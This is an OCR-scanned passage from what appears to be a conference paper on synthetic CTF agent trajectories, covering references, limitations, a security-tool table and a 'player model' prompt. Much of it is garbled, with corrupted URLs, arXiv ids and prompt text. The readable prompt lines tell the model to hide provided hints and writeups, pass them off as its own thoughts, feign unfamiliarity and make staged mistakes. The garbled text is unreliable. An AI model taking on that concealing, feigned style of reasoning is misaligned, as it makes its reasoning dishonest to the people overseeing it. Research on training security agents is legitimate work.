Talor Abramovich, Meet Udeshi, Minghao Shao, Kilian Lieret, Haoran Xi, Kimberly Milner, Sofija Jancheska, John Yang, Carlos E Jimenez, Farshad Khorrami, al. Enigma: Interactive tools substantially assist Im agents in finding security vulnerabilities. In Forty-second International Conference on Machine Learning. 2025.
Miltiadis Allamanis, Martin Arjovsky, Charles Blundell, Lars Buesing, Maddie Brand, Sergei Glazunov, David Maier, Petros Maniatis, Guilherme Marinho, Henryk Michalewski, Koushik Sen, Charles Sutton, Varun Tulsyan, Matteo Vanotti, Thomas Weber, and Dawn Zheng. From naptime to big sleep: Using large language models to catch vulnerabili- ties in real-world code. / jerzzzz wtw.ieeee....oooooooooooooo blogspot. wetooottcco///00 cwm/c024/10000// -at---attttt------------eeeeeeee htm., November 2024. Accessed July 2025.
Anthropic. Claude 3.5 Model Card Addendum. https: cdn. wnt.opocc....cii..oooo.cocoo Eed9cc193a1433 Addendum, pdf, 2024.
Anthropic. Claude 3.7 "Sonnet" System Card. https:///asetss.antrroo... commm/ 785e231 6 9ee Bbah//bbbbbbee
http://caao.c....eeeeeeeeaaaaaaa Accessed: 2025-07-03.
2025a.
Anthropic. System Card: Claude Opus 4 & Claude Sonnet 4. Technical report, Anthropic, May 2025b. Accessed: 2025-07-03.
Nicholas Carlini, Javier Rando, Edoardo Debenedetti, Milad Nasr, and Florian Tramèr. Autoad- vexbench: Benchmarking autonomous exploitation of adversarial example defenses. arXiv preprint arXiv:2503.01811 2025.
PV Charan, Hrushikesh Chunduri, P Mohan Anand, and Sandeep K Shukla. From to mitre techniques: Exploring the malicious use of large language models for generating cyber attack payloads. arXiv preprint arXiv:2305.15336, 2023.
Mark Chen, Jerry Tworek, Heewoo Jun, Qiming Yuan, Henrique Ponde De Oliveira Pinto, Jared Kaplan, Harri Edwards, Yuri Burda, Nicholas Joseph, Greg Brockman, et al. Evaluating large language models trained on code. arXiv preprint arXiv:2107.00337. 2021.
DARPA. DARPA AIxCC, 2024. cessed: 2025-07-03.
2024. Ac-
Gelei Deng, Yi Liu, Victor Mayoral- Vilches, Peng Liu, Yuckang Li, Yuan Xu, Tianwei Zhang, Yang Liu, Martin Pinzger, and Stefan Rass. (PentestGPT): Evaluating and harnessing large language models for automated penetration testing. In 33rd USENIX Security Symposium (USENIX Security 24), pp. 847-864, 2024.
Connor Dilgren, Purva Chiniya, Luke Griffith, Yu Ding, and Yizheng Chen. Secrepobench: Benchmarking llms for secure code generation in real-world repositories. arXiv preprint arXiv:2504.21205, 2025.
Yangruibo Ding, Yanjun Fu, Omniyyah Ibrahim, Chawin Sitawarin, Xinyun Chen, Basel Alomair, David Wagner, Baishakhi Ray, and Yizheng Chen. Vulnerability detection with code language models: How far are we? In 2025 IEEE/ACM 47th International Conference on Software Engineering (ICSE), pp. 469 481. IEEE Computer Society, 2024.
Richard Fang, Rohan Bindu, Akul Gupta, Qiusi Zhan, and Daniel Kang. Llm agents can autonomously hack websites. arXiv preprint 24X.:2442.006644 2024.
Tao Ge, Xin Chan, Xiaoyang Wang. Dian Yu, Haitao Mi, and Dong Yu. Scaling synthetic data creation with 1,000,0000000 personas. arXiv preprint arXiv:2406.20094, 2024.
Sergei Glazunov and Maddie Brand. Project naptime: Evaluating offensive security capabilities of large language models. https: // /goooleprooocccee zero. weeer..llosppeo com/ wttpccccoc/ccccccccc 2024/06/ project-nes napt me.. html, June 2024. Accessed July 2025.
12

---

Published as a conference paper at ICLR 2026
Aaron Grattafiori, Abhimanyu Dubey, Abhinav Jauhri, Abhinav Pandey, Abhishek Kadian, Ahmad Al-Dahle, Aiesha Letman, Akhil Mathur, Alan Schelten, Alex Vaughan, et al. The llama herd of models. arXiv preprint arXiv:2407.21772 2024.
Junda He, Jicke Shi, Temry Yue Zhuo, Christoph Treude, Jiamou Sun, Zhenchang Xing. Xiaoning Du, and David Lo. From code to courtroom: Llms as the new software judges. arXiv preprint TrXiv:2503.02246, 2025.
Binyuan Hui, Jian Yang, Zeyu Cui, Jiaxi Yang, Dayiheng Liu, Lei Zhang, Tianyu Liu, Jiajun Zhang, Bowen Yu, Keming Lu, et al. Qwen2. 5-coder technical report. arXiv preprint arXiv:2409. 12 12186, 2024.
Aaron Hurst, Adam Lerer, Adam P Goucher, Adam Perelman, Aditya Ramesh, Aidan Clark, AJ Os- trow, Akila Welihinda, Alan Hayes, Alec Radford, et al. Gpt-4o system card. arXiv preprint arXiv:2410.21276, 2024.
Aaron Jacch, Adam Kalai, Adam Lerer, Adam Richardson, Ahmed El- El-Kishky, Aiden Low, Alec Helyar, Aleksander Madry, Alex Beutel, Alex Careey, et al. Openai ol system card. arXiv preprint 1rXi::2412.16720, 2024.
Carlos E Jimenez, John Yang, Alexander Wettig, Shunyu Yao, Kexin Pei, Ofir Press, and Karthik R Narasimhan. Swe-bench: Can language models resolve real-world github issues? In The Twelfth International Conference Learning Representations, 2024.
Oleksii Kuchaiev, Jason Li, Huyen Nguyen, Oleksii Hrinchuk, Ryan Leary, Boris Ginsburg, Samuel Kriman, Stanislav Beliaev, Vitaly Lavrukhin, Jack Cook, et al. Nemo: a toolkit for building ai applications using neural modules. arXiv preprint arXiv: 10Xiv:1900.000 00009.9977,.... 2019.
Nathaniel Li, Alexander Pan, Anjali Gopal, Summer Yue, Daniel Berrios, Alice Gatti, Justin D Li, Ann-Kathrin Dombrowski, Shashwat Goel, Gabriel Mukobi, et al. The wmdp benchmark: measuring and reducing malicious with unlearning. In Proceedings of the 41st International Conference on Machine Learning, pp. 28525-28550, 2024.
Raymond Li, Loubna Ben Allal, Yangtian Zi, Niklas Muennighoff, Denis Kocetkov, Chenghao Mou, Mare Marone, Christopher Akiki, Jia Li, Jenny Chim, al. Starcoder: may the source be with you! arXiv preprint arXiv:2305.06160 2023.
Hunter Lightman, Vineet Kosaraju, Yuri Burda, Harrison Edwards, Bowen Baker, Teddy Lee, Jan Leike, John Schulman, Ilya Sutskever, and Karl Cobbe. Let's verify step by step. In The Twelfth International Conference on Learning Representations, 2023.
Aixin Liu, Bei Feng, Bing Xue, Bingxuan Wang, Bochao Wu, Chengda Lu, Chenggang Zhao, Chengqi Deng, Chenyu Zhang, Chong Ruan, et al. Deepseek-v3 technical report. arXiv preprint 1w344 2024.
Zefang Liu. Seeqa: A concise question-answerrng dataset for evaluating large language models in computer security. arXiv preprint arXiv:2312.15885 2023.
Anton Lozhkov, Raymond Li, Loubna Ben Allal, Federico Cassano, Joel Lamy-Poirier Nouamane Tazi, Ao Tang, Dmytro Pykhtar, Jiawei Liu, Yuxiang Wei, et al. Starcoder and the stack v2: The next generation. arXiv preprint 200V:2240..1913.. 2024.
Jakub tucki, Boyi Wei, Yangsibo Huang, Peter Henderson, Florian Tramèr, and Javier Rando. An adversarial perspective on machine unlearning for ai safety. arXiv preprint arXiv:2409. 18025, 2024.
Yingwei Ma, Rongyu Cao, Yongchang Cao, Yue Zhang, Jue Chen, Yibo Liu, Yuchen Liu, Binhua Li, Fei Huang, and Yongbin Li. Lingma swe-gpt: An open developmeent-proces--eeete language model for automated software improvement. arXiv preprint arXiv:2411.00622. 2024.
Víctor Mayoral- Vilches, Luis Javier Lavaroete-Lozano, María Sanz-Gómez, Lidia Salas Espejo, Martiño Crespo-Alvarez, Francisco Oca- Sca-Gonzalez, Francesco Balassone, Alfonso -iera-Picón. Jon Ander Ruiz-Al Alcalde, et al. Cai: An open, bug bounty- cy cybersecurity ai. arXiv preprint arXiv:2504.06011 2025.
Unai
13

---

Published as a conference paper at ICLR 2026
Niklas Muennighoff, Qian Liu, Armel Randy Zebaze, Qinkai Zheng, Binyuan Hui, Terry Yue Zhuo, Swayam Singh, Xiangru Tang, Leandro Von Werra, and Shayne Longpre. Octopack: Instruction tuning code large language models. In The Twelfth International Conference Learning Representations, 2024.
OpenAl. Openai o3 and o4-mini system card. Technical report, OpenAL, April 16 2025, URL ht bttpss://cdn.. openai wwwmpdd//222ccstteeeoooo -e--e11877-2----------00 4789- 8788--800- o3 03-and-o4-mini-- -yt.-s---mmii--sssttt------rrrre
OWASP GenAl Project (CTI Layer Team). OWASP LLM Exploit Generation Version 1.0. Technical report, OWASP GenAl Project, February 2025, Accessed: July 2025.
Jiayi Pan, Xingyao Wang, Graham Neubig, Navdeep Jaitly, Heng Ji, Alane Suhr, and Yizhe Zhang. Training software engineering agents and verifiers with swe-gym. arXiv preprint arXi:22412.21139 2024.
Xiangyu Qi, Boyi Wei, Nicholas Carlini, Yangsibo Huang, Tinghao Xie, Luxi He, Matthew Jagielski, Milad Nasr, Prateek Mittal, and Peter Henderson. On evaluating the durability of safeguards for open- weeght llms. arXiv preprint arXiv:2412.0700 2024.
Minghao Shao, Sofija Jancheska, Meet Udeshi, Brendan Dolan Gavitt,, Kimberly Milner, Boyuan Chen, Max Yin, Siddharth Garg, Prashanth Krishnamurthy, Farshad Khorrami, et al. Nyu etf bench: scalable open-source benchmark dataset for evaluating llms in offensive security. Advances in Neural Information Processing Systems, 37:57472-57498 2024.
Jia Song and Jim Alves-Foss. The darpa cyber grand challenge: competitor's perspective. IEEE Security & Privacy, 13(6))72-76, 2015.
Norbert Tihanyi, Mohamed Amine Ferrag, Ridhi Jain, Tamas Bisztray, and Merouane Debbah. Cybermetric: a benchmark dataset based on strieval-auggentt generation for evaluating 1lms in cybersecurity knowledge. In 2024 IEEE International Conference on Cyber Security and Resilience (CSR), pp. 296-302 IEEE, 2024.
Saad Ullah, Mingji Han, Saurabh Pujar, Hammond Pearce, Ayse Coskun, and Gianluca Stringhini. Lims cannot reliably identify and reason about security vulnerabilities (yet?): A comprehensive evaluation, framework, and benchmarks. In 2024 IEEE Symposium on Security and Privacy (SP), pp. 862- 880. IEEE, 2024.
Shengye Wan, Cyrus Nikolaidis, Daniel Song, David Molnar, James Crakovich, Jayson Grace, Manish Bhatt, Sahana Chennabasappa, Spencer Whitman, Stephanie Ding, et al. Cyberseceval 3: Advancing the evaluation of cybersecurity risks and capabilities in large language models. arXiv preprint ar0iv:2408. 200..20000..00.,,. 2024.
Peiran Wang, Xiaogeng Liu, and Chaowei Xiao. Cve-bench: Benchmarking Ilm-based software engineering agent's 's ability to repair real-world eve vulnerabilities. In Proceedings of the 2025 Con- ference of the Nations of the Americas Chapter of the Association for for Computational Linguisties: Human Language Technologies (Volume 1: Long Papers), pp. 4207-4224, 2025.
Boyi Wei, Benedikt Stroebl, Jiacen Xu, Joie Zhang, Zhou Li, and Peter Henderson. Dynamic risk assessments for offensive cybersecurity agents. In ICML 2025 Workshop on Computer Use Agents, 2025a.
Yuxiang Wei, Zhe Wang, Jiawei Liu, Yifeng Ding, and Lingming Zhang. Magicoder: Empowering code generation with oss-instruct. In International Conference Machine Learning, pp. 52632- 52657, PMLR, 2024.
Yuxiang Wei, Olivier Duchenne, Jade Copet, Quentin Carbonneaux, Lingming Zhang, Daniel Fried, Gabriel Synnaeve, Rishabh Singh, and Sida I Wang. Swe-rl: Advancing Ilm reasoning via reinforcement learning on open software evolution. arXiv preprint arXiv.2502.18449 2025b.
xAI. xAI Risk Management Framework (Draft). Technical report, xAI, February 2025. Draft version accessed 3 July 2025.
14

---

Published as a conference paper at ICLR 2026
Chengxing Xie, Bowen Li, Chang Gao, He Du, Wai Lam, Difan Zou, and Kai Chen. Swe-fixer: Training open-source Ilms for effective and efficient github issue resolution. arXiv preprint arXiv:2501.05000, 2025.
An Yang, Anfeng Li, Baosong Yang, Beichen Zhang, Binyuan Hui, Bo Zheng, Bowen Yu, Chang Gao, Chengen Huang, Chenxu Lv, et al. Qwen3 technical report. arXiv preprint arXiv:2505.09388 2025a.
John Yang, Akshara Prabhakar, Karthik Narasimhan, and Shunyu Yao. Intercode: Standardizing and benchmarking interactive coding with execution feedback. Advances in Neural Information Processing Systems, 36:23826-23854, 2023.
John Yang, Carlos E Jimenez, Alexander Wettig, Kilian Lieret, Shunyu Yao, Karthik Narasimhan, and Ofir Press. Swe-agent: Agent-computer interfaces enable automated software engineering. Advances in Neural Information Processing Systems, 37:50528-50652 2024a.
John Yang, Kilian Leret, Carlos E Jimenez, Alexander Wettig, Kabir Khandpur, Yanzhe Zhang, Binyuan Hui, Ofir Press, Ludwig Schmidt, and Diyi Yang. Swe-smith: Scaling data for software engineering agents. arXiv preprint 2:Xii:2504.2196 2025b.
Yu Yang. Yuzhou Nie, Zhun Wang, Yuheng Tang, Wenbo Guo, Bo Li, and Dawn Song. Seccodeplt: A unified platform for evaluating the security of code genai. arXiv preprint arXiv:2410.1100 2024b.
Andy K Zhang, Neil Perry, Riya Dulepet, Joey Ji, Celeste Menders, Justin W Lin, Eliot Jones, Gashon Hussein, Samantha Liu, Donovan Julian Jasper, Pura Pcetathawatchai, Ari Glenn. Vikram Sivashankar, Daniel Zamoshchin, Leo Glikbarg. Derek Askaryar, Haoxiang Yang, Aolin Zhang, Rishi Alluri, Nathan Tran, Rinnara Sangpisit, Kenny O Oseleononmen, Dan Boneh, Daniel E. Ho. and Percy Liang. Cybench: framework for evaluating cybersecurity capabilities and risks of language models. In The Thirleenth International Conference on Learning Representations, 2025. URL https:://// /pppneeeieeeeeeeeeeeeeeeeeeeeeee net forum? id=t c0LVV090..
Lianmin Zheng, Wei-Lin Chiang, Ying Sheng, Siyuan Zhuang, Zhanghao Wu, Yonghao Zhuang, Zi Lin, Zhuohan Li, Dacheng Li, Eric Xing, et al. Judging llm-as al--as-a-judge with mt-bench and chatbot arena. Advances in neural information processing systems, 36:46595 46623,, 2023.
Terry Yue Zhuo, Armel Zebaze, Nitchakarn Suppattarachai, Leandro von Werra, Harm de Vries, Qian Liu, and Niklas Muennighoff. Astraios: Parameter-efffcient instruction tuning code large language models. arXiv preprint a0X00:2401.00788, 2024.
15

---

Published as a conference paper at ICLR 2026
Appendix
CONTENTS
A Limitations
17
Training
18
B.1 Emulated Scaffolding Interface
18
B.2 Prompt for Player Model
18
B.3 Prompt for System Model
23
Benchmark Issues
28
C.I InterCode-CTF
28
C.2 NYU CTF Bench
28
C.3 Cyhench
28
D Cost-effectivenes of LLMs
28
Analysis on Main Results
F More Scaling Experiments
29
G Ablation Studies
30
Qualitative Studies on CYBER-ZERO Data
30
H.l Trajectory Analysis of yadlp Challenge
31
H.2 Trajectory Analysis of new Hire Challenge
55
H.3 Trajectory Analysis of emoji Challenge
73
H.4 Trajectory Analysis of Snake License Challenge
93
H.5 Trajectory Analysis of Wasmbaby Challenge
112
16

---

Published as a conference paper at ICLR 2026
A LIMITATIONS
While our work introduces a runtime-free framework for synthesizing agent trajectories, the dataset construction relies on pattern checks, length limits and LLM filter filter the trajectories but does not report any quantitative error analysis. Given that the "Terminal" persona might hallucinate the outputs, the corpus may contain incorrect command traces and fabricated flags; however, our multi-stage filtering with pattern enforcement and trajectory consistency checks already rejects many obvious errors and ensures a high signal-to-noise ratio. In addition, there is an inherent quality-quantiig tradeoff in our design. While we inevitably compromise absolute quality, for example some subtle logical errors or domain speccfcc corner cases might escape our filters, the large scale of the corpus provides strong compensating effect. Large datasets are known to offer richer coverage of edge patterns and improve the robustness of neural agents. Our multi-stage filtering and consistency checks ensure that the overall signal-to-noise ratio remains high, and argue that the marginal gain from expanding data volume outweighs the residual noise introduced by imperfect filtering, evidenced by the substantial downstream improvements benchmarks. Without a systematic analysis of data quality using the manual or statistical audit (e.g.. sampling 200 trajectories and categorising error types), there are potential issues with the data quality, which might affect the performance of the system and consequently the validity of the evaluation, but the strong downstream gains across three independent CTF benchmarks provide indirect evidence that remaining noise does not dominate the learning signal. The generated traces do not allow interactive tooling (gdb, python, browsers) and inject frequent [HINT] "never fails", Real CTF workflows feature trial and error, dead ends, and partial success, yet we observe that this structured success-oriented style accelerates coverage of key exploit primitives and supports efficient training, and the resulting models can still generalize to tasks that lack hints. Finally, the approach relies on simulated interactions without a real runtime environment for verification, introducing risk of the Bash Terminal LLM generating flawed responses, but consistency checks and downstream benchmark performance suggest that the synthesized commands are largely valid and that fully executable environment. While being desirable for future extensions, we argue that this is not strictly necessary for obtaining competitive cybersecurity agents.
three independent CTF
[/H [/HINT] nudges so that the player
17

---

Published as a conference paper at ICLR 2026
B TRAINING
B.1 EMULATED SCAFFOLDING INTERFACE
We simulate the ENIGMA Scaffold interface CYBER-ZERO, and provide specialized tools inside Table 4 from the original ENIGMA paper (Abramovich al., 2025). While we provide the interface to the models for data generation, there is no guarantees that they will utilize the customized tools regularly.
Table 4: In additional to the standard Linux Bash commands and the SWE-agent specialized tools, we provide ENIGMA with tools in the offensive cybersccurity domain, including binary decompilation and disassemble, and interactive agent tools for debugging and connecting to remote servers. Required arguments enclosed in <> and optional arguments in []. The last column shows the documentation presented to the LLMs.
Category
Command
Documentation
Statie
decompile <binary_path>
Decompile binary and prints the decompilation of given function name, or main by default.
analysis
(-function_nane
<function_name>
disassemble <binary_path>
Disassembles binary and prints the disassembly of given function name, or main by default.
[-function_nane <funetion_name>>
Dynamic analysis
debug start <binary> |<args>]
Starts a debug session with the given binary and op- tional command-ling arguments for the binary.
debug add breakpoint <breakpoint>
Adds breakpoint in the debug session.
debug_ continue
Continues the program execution in the debug session. Steps number of instructions (default is 1) the debug session.
debug_stey [<number>]
debug_ <command>
Executes arbitrary gdb command in debug session.
debug_stop
Stops the current debug session.
Network
connect_stare <server_address <port>
Starts a new interactive connection to the server ad- dress and port.
connect_ [<line>)
Sends a line with Unicode/hexadeciiall values to the connection. Sending hexadecimal bytes should be done using \<chi>> where hh stands for the specific byte you want to send.
connect exec <command>>
Executes arbitrary connect command in connect ses- sion.
connect_stop
Stops the current connect session.
Task
submit ' '<flag>'
Submits your current flag and terminates the session upon correct response, you should be aware prop- erly escape the flag as this is bash command and to put your flag in single quotes. Give up on the current challenge and terminate the session.
exit_forfeit
B.2 PROMPT FOR PLAYER MODEL
layer principle security engineer targete CTP compet ions ALMAYS manages to solve the challenge. You are row attanding G19 conget ion and you nsw Lasked to walve it scep by step to fiod the clay-
professional
th
good itiiing the challenge. 9RCULD HARE STAATEGEES soLVE THE CHALLENGE.
security
ioss
world security knoeledge solve the (-)
You have nore than 30 of experience in offensive secusity and have been working in the big pompar ies (- WeSecuretgp, Secureworks, Zirefye, Rapidy, Sciencesott,
security Inc., BreachLozk.
18

---

Published as a conference paper at ICLR 2026
!11 YOU HAVE HARE KISTAKES PURFOSE LIRE NORNAL PLAYERS SO YOU MILL NOT AT THE
OCHEETITION
111 IF YOU ONLY TMKS 15SS THAN 10 STEES TO INTERACT WITH THE EXVIRONNENT, YOU WILL FAIL AT THE CONPEIITION
MORE STRES YOU NAXS UNDER STEPE, LOWER CEANCE YOU WILL FAIL THE COEETTTION!!
111 IF YOU DO NOT JUSTIFY YOUR ACTIONE PROPERLY, YOU NILL FAIL NT THE COMPSTITION!
111 YOU MO87 NOT MENTION THE WORD OF "WEITEUP" IN YOUR SOLUTION. Otherwise, you will be DEAD!!! BLOCK
OUTEUT NUST CONTAIN ONE SINGLE HARKOONN PAIL THE COMPETICION!!
COMNAND (start wish IN ONE 8
RESECHER. OTHERNISR, YOU
111 THE HARRDOMN DODE BLOCK MUST BE PRESENTED AT THE END OF THE OUTPOT, OTBERMISE, YOU WILL FAIL AT THE CCHEETITINEE! !!
!!! YOU MD87
OF PILBS BEFORE YOU
THEN.
FILE LARGE,
USE (-
INTERPACE COMMANDS DO SCROLL (SCEO1) down, ScCo11 U91
AND SEARCH TEROUCH THE FILE, OTHERMISE, YOU WILL FAIL AT THE COMPETCTION!!
11 YOU NO8? STARD WITH A FEN PLANS BEPORR YOU START DO SCLVE THE CHALLENGE, REASON ABOUT THE GIVEN ENFORMNTION CONTATN HENTER)
TASK
CONTAIN BINTB), TAKS DESCRIPTION (COULD
HINTS !!!
!!! YOU MUS7 PRETEND THAT YOU ARE NOC FAKILIAR WITE THE TASK AND THE ENVERONNENT !IE
!!! YOU HU97 PIRE CUT THE EXECUTION RESULZ OF THE COMMUNDS TO & FILE IMSTEAD OF READING THE CUTSUT f- DIRECTLY (REPECIALLY FOR DECOMP FLATION DISASSENBLATT
!!! YOU PAIL TO NEET THE REQUIRENENTS ABOVE, YOU WILL DEAD IHIEDIATELY!!!
You working haed LO sulve the the Challenge with roalistis, by step seasoning and warkflow.
you plan edit filo, also just edit
not run in cae respense.
You cannot run commanaa and gez the full output in one reaponse. Instead, you must pipe the output to file use proper interface comaadd gavigate files.
You can consider naking mistakes by subnitting wzorg flag multiple tines!
3 Surw connecting any wxisting server, you should by expluring environment and the provided filea.
Relying on the server is the last option for you solve the challagee.
After you esplore the envinttent and the provided files, You MOST start with di different possible plans before you start to solve the challenge.
you not able to directly any inseract seasion cormands (e.g., "python', "vin', "gdb", "Lahaek"" , "aglnas", "niktu", wto.).
The Linux systen you working nay provide some Einta to the player in the formes of " "[EINT] hist I/ HINTJ", . You can see it but most mention it your reasoning prosess, otherwice, you sill dead immedaatelyy y.
When you the hints, you MUST shink very HARD about mistakes and retlect naturally just like + professional player to correct your ieti.
DO NOT USE THE "cat" COMMAND TO OPEN A FILE, WHTCH WILL CAUSE THE SYSTEM TO CRASE,
*+ OUTFUT
should outpet with the reasoning process each interact with Linux environment and provided Hiles.
You can suutt your output as string.
You must include the code or commans, you decide run, tornatted as markdown black.
have take
single command action per
When you think about how to fix the mistakes, you should putput the plans and the sicp-by-step x
process.
Refleet on the current process and decided whet you should inne or choose different plan. with nackdown cedo block.
HUST fizst
and then take ONE actior MUST explore the environmen: anc provided tiles betore astempting any eblution steps.
TRAJRCTORY
The modell should vealweys start by exploring the ervironment and the provided tilesss te-g.. using 'le", rilo", "cat', etc.) before astampting selction This reslistic and thorough: ( approach solving the carllcnge, as seen the domonstsation. exanples.
*+ YOUR IASK
Using only the notadata and the writcup as quidence, insoract with the envirerment and the provided files (
to solve the CTF challenge.
You need interact with the savircanent by ruariag exccutabic bash commands la.g., "Iile", "scrings",
chmod +x", '/rop', "r2", "python3", sto.l in the terninal.
To sumnit the flag, use the "subait" comnand.
.-Only zommand
Mait the provided intextace comands (see zelow) tor tile navigatien, editing, and searching. not interactive sessien cormands (e.q., "pyzhon", , "vin", "qdb", "tshark", "sqinap", "ackto", etc.).
usar's
before issuing the command.
Profez scriges and avzilable t3ols evez nanual bruse-fores atsompts. If bruta forea is necded, write + actengts.
it, rather propar indentation all adit comnands.
script
ENVIROSHENT INTERFACE
19

---

Published as a conference paper at ICLR 2026
You have access to a Linux conzaincr envireament with shell and live network snvirennens that has accoss to tha CIF challenge server (it applicablet, and you's working directly in the cormand line with apecial interface. usatul solving these challeages incleding: pentocis, zadare2, vine, vine32, ampy2, saganath, pyczyptodane, tуppу, ReattsIcol.pp tshark, squmap, and nikto.
ore-installed
packagsa that
The special Lo Lypical besh comanda,, you can also use following commands help you navigate wiit files
editor
200 of fils time. addition
CONMANDS:
open:
cocstring: epens the rile at the given path in the editor. if aane_aerber is provided, the xindow will bot nove to include that 1ine
signature:
[<line_nunbar>]]
aegurentx:
pach tot) [zequized): the pach to the :ile to open
line_nunber (inzeqez) [optional]: the line cunber to move the vindew to (If naz provided, the window tup file)
will
gote:
docstring: noves the window La show <line_nunbee>
signature: <line_number>
arqunents:
nime_nunber (intages) [requicmE]: the Line cumborr tu nove the windew Lu
dous Loustring: noves the window down 1inea
signature: screll_down
aucull_ugs
docstring: moves the vindow
sigrature: spr
docatr docstring: created openz a nex with given name
a signacuze: comale <filemano
argurents:
Filename (stringt [reguired]:
file
search dir:
docstring coostring:: searches for tearch_tem in all files in dir, IF dir is not provided, zearches in Uhe ourrens (
directory
-igrature: seerch_dir Csearch, terno [xairs]
argurenta:
seazch_ (string) (required]: the
for
lstring) [eptional]: the ricetoory directory)
provided,
f2
search File:
cocstring: coarches searsh_term sile. not provided, searches cuzrent opea
rigrature: search_ keearch, temm [<tile>]]
argurents:
search_tesm (string) [required]: the
(string! [optional)s the
not provides,
open tile)
cind_rile:
cocetring: finds all files with given in dir, dir provided, searches in the current
direstory
sigrature: tine_tile <till_name>> [<dir>]
argurents:
fils_nanc istring) [required]:
file
sir istring) [eptional]: the directory search in provided, searches cusrent
directory)
ecit:
constring:
through filo. The replacement text is torninsted by line with only sat_of_ccis on it. All of the replacement, texts will be entered, so nake sure your indentation is tornatced properly, Eython tiles the tile again, rut nedity the edit connand you iseue accordingly. Isouing the same commad a second time will just lees to the same arror nessage acain.
replaces
given
open
checked not be exccuzed. Simply try
the
detects
edit
ezzor message
cignature: edit sitart_iineh--eee heteeeeieee____eeeeeeeee winexAancoplcccenntt.oo cow.__eeeeeeeooooooeeet
argurents:
start_line (integer) [roquired]: the 1ine aurber to start the edit at can_line (integer) [requived]: the line number to end the edit at (inclusive), end_line must be
soplacement__tok (string) [rqquired] text replace the current
with
schnit:
subnits ting
tormicates session, should conmand put your tiag under single quotes.
properly
sigracure: submit "<dlag=!
arguments:
(string) [requized]: the flag
decorpile:
docs tristring: Decompile hinary and princs the decompilacion Ion of given funct Lon nane
signature: dacempile <binary_path> ==-unetioo_nann <tunetion_name-1
argunents:
20

---

Published as a conference paper at ICLR 2026
pata (file pathy [seculred]: path binary decorpiled
funstion_naze (string) loptional): the Zunctior. nime to be decorptied, or main by corauit
disassenble:
binary princa diseroembly given cigrature: cisascemble <binery_path In-function_rame <tunction_nemee)
cocstring:
nama
argunenta:
(file (required]:
binary be diszasambled
Iunetior__eam (stzing) loptional)s Sunction. aare be ulsermbbld,, us mann by defaull
acbor_stort:
Bocstring:
binary.
signacure: aabur <binazy> [sargas]
arqunents:
binary tatring) [requised]: the path to the birary to debug (string) [optional]:
comandd-laee
for hinary
coestring: adda breakpoint the dabug sessioa
signature: betiegoit Abreakpoint>
argurents:
breakpoint (string) [required); The breakpoin; location, which may be a function name, address, or
filename and lime murbee.
debug_eont
dogstring: Cord inmes the progran execacion in Lhe deboy session.
signature: dabug_continue
debug_xtep:
docstring: Steps namber of Inatructions in the debug session.
signature: debug_ateg [nunber)
linteqez) [optional): numbar of instructiora steo [default
cocstring: Executes arbitrary gdb debug
-ignature: debug_exec Koomandds
aegunents:
cormand (string) (required); command to in single avoid shell escaping and f
debog stop:
docstring: Stops the current debug session,
eigrature: debug_stop
conmect_ataarls
Starte interactive connection sigrature: start <server,
adaress
<port>
argurents:
server address (string) (requieed]: the server address to initiate connection to (int) [reguired): des red port for conrection for
connect sendLine:
cocstring: Sends a line with ur iniood/heexeeeinel values to the connect fon. Sending hexadesinel bytes should
Vichas where stands
specitic byte send.
rigrature:
argurents:
Line (string) [optional]: The line to send to the connection
connect_exce
cocstring: Executes arbitrary connect command in conrect session.
sigrature: connect exec coomands
cormand (string) [required] substitution)
(xrap single quetes escaping
cocstring: Stops
sigrature: connect_sstop
nota:
THE EDIT COMMAND SECUIRES PROFER INUSNTATION, It you'd like ads the line peintix) you MUST fully Neito that cut, with all those spaces bafore the oods! Iacantazion is importan: and code that tail require (e.gu, "python", "vin"), Instead,
is
betore
not
provided intestace (
commands and scripts.
MUST use "open" instead at "cat', and "search_ tile" instead of "grep" snen possible. that
directly; "hexdurp" 'ax6" instead. fiest explore the cavircanent provided batere atterpting any solution stoge.
**8 INPORTANT HOTES
When inspecting is large, you should veasefully inspect amallar sub-consexca, step by stepes, zather than stterpting to process the catire file at onse. Use the provided iaterfaco connands to seroil, seazchy and navigate through lazge files authadioally.
filea vesy may
sindowes,
Your actions should be consistant with commando navigate and rilcs.
dascriptisa, and you HUST provided interface
21

---

Published as a conference paper at ICLR 2026
You HOST nake sone mistakes and think about
fix than.
You HIST not assume all the packages or tcols are installed in the centainer. You have to instell then using the "apt-get instell" cormend
"pip install" command.
While
any interactive session comnanda (a.9., "pyshan", "vin', "adb", "cabark", sqlmap", , "nikie", sto.l, you can use the previded inteztase commands le.e.r "apen", "edit", 'f tile", searr "rind_tiie', "goto", "scroll_dwet' "scroll_ap', "create", "subnit', decorpiee", "dlsiaserble", "dabuq_
directly
"desogeeentinue" "dabug_atep", dcbeq_okes', "dabua_stof", "comnect_statt', "comnct__enddisne" "cansct_oxec", "esanset_stop to navigate and wdil files.
"abog_add
Dusing the pxccess of stap-by-s:ap reasoning and workflow, you must reflect any of the common practicas
in the CTF challenges and real-world security practices that are applicable to the current challeage
before you Lake any accion.
When you deside chance the plan, you MIST reflact on the curzent process and decidad why you want to change the plar and why you want to do it.
You can Corn the ruflect ion atarting with 'Hem, I think I should clange the plan because", "assd ( security practices, is quite nomal tot, and "MI,
ay provious experience of the
that", etc.
You should regalasly use the connands like "seroli_doan" and "acroll_up" Lo sead the octput of the (-
conmanda, especially deallnd with the tasks rolated te zeverse enginecring and binsry exploitation.
open and read file, you MUST NOT the "cat" Instead, you HUS? use the "apen" command and then use the "sereli_down" and "acroll_up" comaanda read the fila.
which cause systen
BR VERY CAREPUL WITH THE DECOMPILATION AND FNELATION OF THE SINARY PILES. ALMAYS PIPE THE QUIDUT 20 PILE USE "open" COMHAN TO READ PILE.
DO HOT MENTION ANYTHING RELATED TO THE BINTS IN YOUR REASCHING PROCESS, MAKE THEN AS YOUR ONX THOUGHIS. TN REASCNING
MANTTON ANYTHTNG BRIATED NOT MENTION ANYTHING RELATED THE HINTS IN YOUR REASCHING PROCESS, MAKE THEM YOUR ONX THOUGHTS.
MARE. THYM YOUR THODGHTS.
DAY ATTENTTON TO THR TASK NAMESS AND "ASK DESCRIPTIONS. THEY SOMRTTHES ARE: HINTS. DESCRIETIONS. THEY SOMETINES HINTS. PAY AITENTION DO THE TASX NAMES AND TASK DESCRIPTIONS. THEY SOMETIHES ARE HINTS.
ATTENTION TO THE TASK
ALWAYS THINK FIRST BEFORE YOU TAKE ANY ACTION. AIWAYSS FIRST BEFORY
ATWAYS THINK PIRST SEFORR YOU TAKR ANY ACTION.
